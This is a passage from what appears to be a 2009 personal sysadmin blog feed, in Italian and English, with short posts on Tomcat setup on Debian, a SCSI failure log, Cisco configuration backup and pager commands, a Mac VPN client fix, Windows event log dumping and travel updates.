<p>Attenzione, se l&rsquo;installazione debian di default sicuramente non trovo il java jdk, è necessario quindi aggiungere il repository non-free, in apt editando in questo modo: /etc/apt/source.list</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>deb http://your-mirror-url/debian/ lenny main non-free
</span></span><span style="display:flex;"><span>deb-src http://your-mirror-url/debian/ lenny main non-free
</span></span></code></pre></div><p>Configurare il sistema per utilizzare java</p>
<p><code>srv01#update-alternatives --config java</code></p>
<blockquote>
</blockquote>
<p>There are 2 alternatives which provide &lsquo;java&rsquo;.</p>
<blockquote>
</blockquote>
<p>Selection Alternative
---&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;
1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java
\*+ 2 /etc/alternatives/kaffe-system/bin/java</p>
<blockquote>
</blockquote>
<p>Press enter to keep the default[*], or type selection number:</p>
<p>digitiamo 1 per attivare /usr/lib/jvm/java-1.5.0-sun/jre/bin/java</p>
<p>Definiamo il runtime java specifico installato e reso di default nel sistema come da step precendenti, editando il file /etc/default/tomcat5.5 e aggiungendo:</p>
<p><code>JAVA_HOME=/usr/lib/jvm/java-1.5.0-sun/</code></p>
<p>Definiamo ora gli utenti per l&rsquo;interffaccia di gestione editando il file /var/lib/tomcat5.5/conf/tomcat-users.xml e creando una struttura simile:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&lt;?xml version=&#39;1.0&#39; encoding=&#39;utf-8&#39;?&gt;
</span></span><span style="display:flex;"><span>&lt;tomcat-users&gt;
</span></span><span style="display:flex;"><span>&lt;role rolename=&#34;tomcat&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;role rolename=&#34;role1&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;role rolename=&#34;standard&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;role rolename=&#34;manager&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;role rolename=&#34;admin&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;user username=&#34;tomcat&#34; password=&#34;pwd&#34; roles=&#34;tomcat,admin&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;user username=&#34;both&#34; password=&#34;pwd&#34; roles=&#34;tomcat,role1&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;user username=&#34;role1&#34; password=&#34;pwd&#34; roles=&#34;role1&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;user username=&#34;leo&#34; password=&#34;pwd&#34; fullName=&#34;leonardo&#34; roles=&#34;standard&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;user username=&#34;manager&#34; password=&#34;pwd&#34; fullName=&#34;&#34; roles=&#34;manager&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;/tomcat-users&gt;
</span></span></code></pre></div><p>In questo caso sono definiti 3 utenti, due principali e uno definito dall&rsquo;utente (manager, admin, leo)</p>
<p>Fatto questo avviamo tomcat o riavviamolo se già attivo:</p>
<p><code>srv01#/etc/init.d/tomcat5.5 start o restart</code></p>
<p>Di default il server è in ascolto sulla porta 8180 quindi per accedere andare all&rsquo;indirizzo:</p>
<p><code>http://ipserver:8180/</code></p>
<p>Nota: nel mio caso ho usato il pacchetto jdk5 che contiene il java 1.5.0 è disponibile anche a scelta il pacchetto 1.6.0 ovviamente di chiama jdk6</p>
]]></content:encoded>
    </item>
    <item>
      <title>SCSI R.I.P.</title>
      <link>https://www.deepreflect.net/2009/07/18/scsi-r-i-p/</link>
      <pubDate>Sat, 18 Jul 2009 02:57:27 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=494</guid> 
      <description>&lt;p&gt;During a raining night..&lt;/p&gt;
&lt;p&gt;Syslog tail:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092056] &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; Dump Card State Begins &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092059] scsi0: Dumping Card State in Command phase,/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at SEQADDR 0x157
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092063] Card was paused
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[cut]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092511] Pending list:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092514] 6 SCB_CONTROL[0x60]:(TAG_ENB|DISCENB)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092521] SCB_SCSIID[0x7] SCB_LUN\[0x0]Jul 18 03:02:18 pbx01 kernel: [265460.092526] 2 SCB_CONTROL[0x74\]: /
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(DISCONNECTED|MK_MESSAGE|TAG_ENB|DISCENB)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092534] SCB_SCSIID[0x7] SCB_LUN[0x0\]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092539] 3 SCB_CONTROL[0x0] SCB_SCSIID[0x7] SCB_LUN[0x0]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092547] Kernel Free SCB list: 7 1 4 5 11 10 9 8
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092556]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092558] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; Dump Card State Ends &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092570] scsi0:0:0:0: Cmd aborted from QINFIFO
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092579] aic7xxx_abort returns 0x2002
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092590] sd 0:0:0:0: [sda] Attempting to queue a TARGET RESET message
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092594] CDB: 0x2a 0x0 0x0 0x5a 0xf3 0xbc 0x0 0x0 0x8 0x0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092604] aic7xxx_dev_reset returns 0x2003
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092655] Recovery SCB completes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Jul 18 03:02:18 pbx01 kernel: [265460.092696] Recovery SCB completes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pbx01:/#
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pbx01:/# Timeout, server not responding.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;leobook2-w:~ leonardorizzi$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ouch!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>During a raining night..</p>
<p>Syslog tail:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092056] &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Dump Card State Begins &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092059] scsi0: Dumping Card State in Command phase,/
</span></span><span style="display:flex;"><span>at SEQADDR 0x157
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092063] Card was paused
</span></span><span style="display:flex;"><span>[cut]
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092511] Pending list:
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092514] 6 SCB_CONTROL[0x60]:(TAG_ENB|DISCENB)
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092521] SCB_SCSIID[0x7] SCB_LUN\[0x0]Jul 18 03:02:18 pbx01 kernel: [265460.092526] 2 SCB_CONTROL[0x74\]: /
</span></span><span style="display:flex;"><span>(DISCONNECTED|MK_MESSAGE|TAG_ENB|DISCENB)
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092534] SCB_SCSIID[0x7] SCB_LUN[0x0\]
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092539] 3 SCB_CONTROL[0x0] SCB_SCSIID[0x7] SCB_LUN[0x0]
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092547] Kernel Free SCB list: 7 1 4 5 11 10 9 8
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092556]
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092558] &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; Dump Card State Ends &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092570] scsi0:0:0:0: Cmd aborted from QINFIFO
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092579] aic7xxx_abort returns 0x2002
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092590] sd 0:0:0:0: [sda] Attempting to queue a TARGET RESET message
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092594] CDB: 0x2a 0x0 0x0 0x5a 0xf3 0xbc 0x0 0x0 0x8 0x0
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092604] aic7xxx_dev_reset returns 0x2003
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092655] Recovery SCB completes
</span></span><span style="display:flex;"><span>Jul 18 03:02:18 pbx01 kernel: [265460.092696] Recovery SCB completes
</span></span><span style="display:flex;"><span>pbx01:/#
</span></span><span style="display:flex;"><span>pbx01:/# Timeout, server not responding.
</span></span><span style="display:flex;"><span>leobook2-w:~ leonardorizzi$
</span></span></code></pre></div><p>Ouch!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Autosave scp</title>
      <link>https://www.deepreflect.net/2009/07/01/cisco-autosave-scp/</link>
      <pubDate>Wed, 01 Jul 2009 19:15:31 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=463</guid> 
      <description>&lt;p&gt;Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;archive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;path scp://leo:xxxxxx@hostname/home/leo/router-backups/router
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;write-memory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>archive
</span></span><span style="display:flex;"><span>path scp://leo:xxxxxx@hostname/home/leo/router-backups/router
</span></span><span style="display:flex;"><span>write-memory
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Offline Windows password &amp; registry editor</title>
      <link>https://www.deepreflect.net/2009/07/01/offline-windows-password-registry-editor/</link>
      <pubDate>Wed, 01 Jul 2009 18:49:23 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=472</guid> 
      <description>&lt;p&gt;Just another link of useful utility:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://home.eunet.no/pnordahl/ntpasswd/&#34;&gt;http://home.eunet.no/pnordahl/ntpasswd/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://pogostick.net/~pnh/ntpasswd/&#34;&gt;http://pogostick.net/~pnh/ntpasswd/&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Just another link of useful utility:</p>
<p><a href="http://home.eunet.no/pnordahl/ntpasswd/">http://home.eunet.no/pnordahl/ntpasswd/</a></p>
<p><a href="http://pogostick.net/~pnh/ntpasswd/">http://pogostick.net/~pnh/ntpasswd/</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Dump System log on Windows</title>
      <link>https://www.deepreflect.net/2009/05/19/dump-system-log-on-windows/</link>
      <pubDate>Tue, 19 May 2009 00:06:14 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=477</guid> 
      <description>&lt;p&gt;If you wanna to dump windows event log, in readable format form debug youre fucking .NET application running on IIS you can do this:&lt;/p&gt;
&lt;p&gt;Fist of all you need a special tool for this &amp;ldquo;dumpel.exe&amp;rdquo; (in pure Microsoft style) part of Windows Resource Kit 2000 (yeah only 9 year ago):
You can download from &lt;a href=&#34;http://support.microsoft.com/kb/927229&#34;&gt;http://support.microsoft.com/kb/927229&lt;/a&gt;
Then create a bat or vbs file with this command:
&lt;code&gt;dumpel.exe -l Application -f &amp;quot;\\path-to\app_log\app_all.csv&amp;quot;&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you wanna to dump windows event log, in readable format form debug youre fucking .NET application running on IIS you can do this:</p>
<p>Fist of all you need a special tool for this &ldquo;dumpel.exe&rdquo; (in pure Microsoft style) part of Windows Resource Kit 2000 (yeah only 9 year ago):
You can download from <a href="http://support.microsoft.com/kb/927229">http://support.microsoft.com/kb/927229</a>
Then create a bat or vbs file with this command:
<code>dumpel.exe -l Application -f &quot;\\path-to\app_log\app_all.csv&quot;</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Worldly Wisdom</title>
      <link>https://www.deepreflect.net/2009/05/18/worldly-wisdom/</link>
      <pubDate>Mon, 18 May 2009 23:52:08 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=478</guid> 
      <description>&lt;p&gt;Life is a bitch, so fuck it!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Life is a bitch, so fuck it!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Mac OS X - Cisco VPN Client</title>
      <link>https://www.deepreflect.net/2009/04/27/mac-os-x-cisco-vpn-client/</link>
      <pubDate>Mon, 27 Apr 2009 02:16:09 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=473</guid> 
      <description>&lt;p&gt;If you are running Cisco&amp;rsquo;s VPN Client on Mac OSX, you might be familiar with (or tormented by) &amp;ldquo;Error 51: Unable to communicate with the VPN subsystem&amp;rdquo;. The simple fix is to quit VPN Client, open a Terminal window, (Applications -&amp;gt; Utilities -&amp;gt; Terminal) and type the following from root user:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# /System/Library/StartupItems/CiscoVPN/CiscoVPN restart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Stopping Cisco Systems VPN Driver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kextunload: unload kext &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;System&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Library&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Extensions&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;CiscoVPN&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;kext succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting Cisco Systems VPN Driver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kextload: &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;System&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Library&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Extensions&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;CiscoVPN&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;kext loaded successfully
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>If you are running Cisco&rsquo;s VPN Client on Mac OSX, you might be familiar with (or tormented by) &ldquo;Error 51: Unable to communicate with the VPN subsystem&rdquo;. The simple fix is to quit VPN Client, open a Terminal window, (Applications -&gt; Utilities -&gt; Terminal) and type the following from root user:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#75715e"># /System/Library/StartupItems/CiscoVPN/CiscoVPN restart</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Stopping Cisco Systems VPN Driver
</span></span><span style="display:flex;"><span>kextunload: unload kext <span style="color:#f92672">/</span>System<span style="color:#f92672">/</span>Library<span style="color:#f92672">/</span>Extensions<span style="color:#f92672">/</span>CiscoVPN<span style="color:#f92672">.</span>kext succeeded
</span></span><span style="display:flex;"><span>Starting Cisco Systems VPN Driver
</span></span><span style="display:flex;"><span>kextload: <span style="color:#f92672">/</span>System<span style="color:#f92672">/</span>Library<span style="color:#f92672">/</span>Extensions<span style="color:#f92672">/</span>CiscoVPN<span style="color:#f92672">.</span>kext loaded successfully
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Tracking voli di ritorno.</title>
      <link>https://www.deepreflect.net/2009/04/20/tracking-voli-di-ritorno/</link>
      <pubDate>Mon, 20 Apr 2009 02:00:56 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=466</guid> 
      <description>&lt;p&gt;Potete vedere a che punto sono del viaggio da qui:&lt;/p&gt;
&lt;p&gt;Da Amman ad Istambul partenza ore 3:30&lt;/p&gt;
&lt;p&gt;Da Istambul a Milano partenza ore 8:05&lt;/p&gt;
&lt;p&gt;Gli orari sono espressi con il fuso locale data 20/04.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Potete vedere a che punto sono del viaggio da qui:</p>
<p>Da Amman ad Istambul partenza ore 3:30</p>
<p>Da Istambul a Milano partenza ore 8:05</p>
<p>Gli orari sono espressi con il fuso locale data 20/04.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Tracking voli di andata.</title>
      <link>https://www.deepreflect.net/2009/04/14/tracking-voli-di-andata/</link>
      <pubDate>Tue, 14 Apr 2009 10:30:17 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=464</guid> 
      <description>&lt;p&gt;Potete vedere a che punto sono del viaggio da qui:&lt;/p&gt;
&lt;p&gt;Da Milano a Istanbul partenza ore 11:00&lt;/p&gt;
&lt;p&gt;Da Istanbul ad Amman partenza ore 19:05&lt;/p&gt;
&lt;p&gt;Gli orari sono espressi con il fuso locale data 14/04.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Potete vedere a che punto sono del viaggio da qui:</p>
<p>Da Milano a Istanbul partenza ore 11:00</p>
<p>Da Istanbul ad Amman partenza ore 19:05</p>
<p>Gli orari sono espressi con il fuso locale data 14/04.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - page breaks</title>
      <link>https://www.deepreflect.net/2009/04/13/cisco-page-breaks/</link>
      <pubDate>Mon, 13 Apr 2009 19:14:27 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=458</guid> 
      <description>&lt;p&gt;On Router IOS:&lt;/p&gt;
&lt;p&gt;To stop the page breaks:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# terminal length 0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To resume them:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# terminal no length 0 (or number ex. 24)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;On Pix/ASA:
To stop the page breaks.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# no pager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To resume them:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# pager 24&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>On Router IOS:</p>
<p>To stop the page breaks:</p>
<p><code># terminal length 0</code></p>
<p>To resume them:</p>
<p><code># terminal no length 0 (or number ex. 24)</code></p>
<p>On Pix/ASA:
To stop the page breaks.</p>
<p><code># no pager</code></p>
<p>To resume them:</p>
<p><code># pager 24</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Get &amp; Save config using telnet</title>
      <link>https://www.deepreflect.net/2009/04/13/cisco-get-save-config-using-telnet/</link>
      <pubDate>Mon, 13 Apr 2009 19:08:14 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=456</guid> 
      <description>&lt;p&gt;Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?&lt;/p&gt;
&lt;p&gt;In aiuto un piccolo script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;host&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;xx.xx.xx.xx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;port&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;login&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;user
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;passwd&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;pass
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nobreak&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;terminal length 0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;show running-config all&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo open &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;host&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;port&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;login&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;passwd&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;nobreak&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;cmd&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;30&lt;/span&gt;
